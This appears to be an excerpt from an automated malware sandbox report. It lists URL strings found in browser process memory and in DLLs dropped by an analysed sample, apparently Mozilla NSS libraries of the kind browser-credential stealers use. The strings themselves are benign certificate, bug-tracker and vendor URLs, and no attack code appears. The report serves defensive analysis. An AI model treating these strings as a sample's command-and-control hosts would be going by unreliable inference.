Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000002.00000003.2250396715.00003BD800E98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUwy
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281498895.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281519993.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279262878.00003BD8012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281478100.00003BD80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281498895.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281519993.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279262878.00003BD8012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281478100.00003BD80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281498895.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281519993.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279262878.00003BD8012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281478100.00003BD80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281498895.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281519993.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279262878.00003BD8012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281478100.00003BD80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000002.00000003.2250396715.00003BD800E98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/update2/response
Source: file.exe, file.exe, 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537680217.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: IJDHCBGH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000002.00000003.2252771840.00003BD800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
